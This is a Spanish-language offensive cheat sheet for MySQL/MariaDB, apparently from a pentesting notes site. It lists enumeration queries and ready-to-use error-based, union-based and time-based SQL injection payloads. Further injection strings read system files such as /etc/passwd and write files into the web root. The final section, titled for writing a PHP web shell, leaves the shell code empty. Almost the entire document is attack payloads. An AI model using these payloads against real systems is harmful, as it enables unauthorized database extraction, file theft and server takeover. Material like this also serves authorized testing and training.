# MySQL / MariaDB
## Enumeración
### Versión
```sql
# Versión
SELECT version()
SELECT @@version
```
### Usuarios
```sql
# Usuario actual
SELECT current_user()
SELECT system_user()
SELECT user()
# Listado de usuarios
SELECT user FROM mysql.user
```
### Privilegios
```sql
# Privilegios
SELECT grantee,privilege_type FROM information_schema.user_privileges
# Privilegio de superusuario (Y = Yes)
SELECT super_priv FROM mysql.user WHERE user=""
```
### Bases de datos
```sql
# Nombre de base de datos actual
SELECT database()
# Listado de base de datos
SHOW databases
SELECT table_schema FROM information_schema.tables GROUP BY table_schema
```
### Tablas
```sql
# Tablas de base de datos actual
SHOW tables
# Tablas de una base de datos
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema=''
```
### Columnas
```sql
# Columnas de una tabla
SELECT column_name, data_type from information_schema.columns WHERE table_schema='' AND table_name=''
```
### Datos
```sql
# Datos de una tabla
SELECT * FROM .
```
## Error-based SQLi
```sql
extractvalue('',concat('>',version()))
,+extractvalue('',concat('>',version()))
```
### Bases de datos
```sql
# Nombre de base de datos actual
extractvalue('',concat('>',database()))
# Listado de base de datos
extractvalue('',concat('>',(
SELECT group_concat(table_schema)
FROM (
SELECT table_schema
FROM information_schema.tables
GROUP BY table_schema)
AS foo)
)
)
```
### Tablas
```sql
extractvalue('',concat('>',(
SELECT group_concat(table_name)
FROM (
SELECT table_name from information_schema.tables
WHERE table_schema='')
AS foo)
)
)
extractvalue('',concat('>',(
SELECT group_concat(table_name)
FROM (
SELECT table_name from information_schema.tables
WHERE table_schema=''
AND table_name NOT IN (''))
AS foo)
)
)
# Ir incrementando el valor de offset
extractvalue('',concat('>',(
SELECT group_concat(table_name)
FROM (
SELECT table_name from information_schema.tables
WHERE table_schema=''
limit 1 offset 1)
AS foo)
)
)
```
### Columnas
```sql
extractvalue('',concat('>',(
SELECT group_concat(column_name)
FROM (
SELECT column_name
FROM information_schema.columns
WHERE table_schema=''
AND table_name='')
AS foo)
)
)
extractvalue('',concat('>',(
SELECT group_concat(column_name)
FROM (
SELECT column_name
FROM information_schema.columns
WHERE table_schema=''
AND table_name=''
AND column_name NOT IN (''))
AS foo)
)
)
```
### Datos
```sql
extractvalue('',concat('>',(SELECT substring(,1,32) FROM limit 1 offset 0)))
```
## Union-based SQLi
### Bases de datos
```sql
# Nombre de base de datos actual
UNION SELECT 1,database(),3,4-- -
# Listado de base de datos
UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- -
```
### Tablas
```sql
UNION SELECT 1,table_schema,table_name,4 FROM information_schema.tables WHERE table_schema=''-- -
```
### Columnas
```sql
UNION SELECT 1,column_name,data_type,2 FROM information_schema.columns WHERE table_schema='' AND table_name=''-- -
```
### Datos
```sql
UNION SELECT 1,columna1,columna2,4 FROM .-- -
```
### Obtener información dentro de una sola columna
```sql
UNION SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM tabla1-- -
UNION SELECT CONCAT_WS(' - ', columna1, columna2, columna3) FROM tabla1-- -
```
## Time-based SQLi
```sql
AND (SELECT SLEEP(10) FROM dual WHERE database() LIKE '%')
'; SELECT CASE WHEN (1=1) THEN SLEEP(10) ELSE SLEEP(0) END
```
## Lectura y escritura de archivos
Para poder leer y escribir archivos se deben cumplir las siguientes condiciones:
* El usuario debe tener habilitado el privilegio "FILE".
* Valor de la variable global `secure_file_priv`:
* Un valor vacío nos permite leer y escribir en cualquier directorio.
* Si se establece un determinado directorio, solo podemos leer y escribir desde la carpeta especificada por la variable.
* `NULL` significa que no podemos leer y escribir en ningún directorio.
* Acceso de lectura y escritura a la ubicación en la que queremos leer o escribir el archivo.
Obtener valor de la variable global `secure_file_priv`.
```sql
SELECT @@GLOBAL.secure_file_priv
SELECT variable_name, variable_value FROM information_schema.global_variables WHERE variable_name="secure_file_priv"
UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- -
```
### Lectura
```sql
SELECT LOAD_FILE('/etc/passwd')
UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -
UNION SELECT 1, LOAD_FILE('/var/www/html/index.php'), 3, 4-- -
```
### Escritura
Escritura de archivos.
```sql
SELECT * FROM INTO OUTFILE '/tmp/file'
SELECT 'test' INTO OUTFILE '/tmp/test.txt'
UNION SELECT 1,'test',3,4 INTO OUTFILE '/var/www/html/test.txt'-- -
```
Escritura de web shell.
{% code title="webshell.php" %}
```php
```
{% endcode %}
```sql
UNION SELECT "","","","" INTO OUTFILE '/var/www/html/webshell.php'-- -
```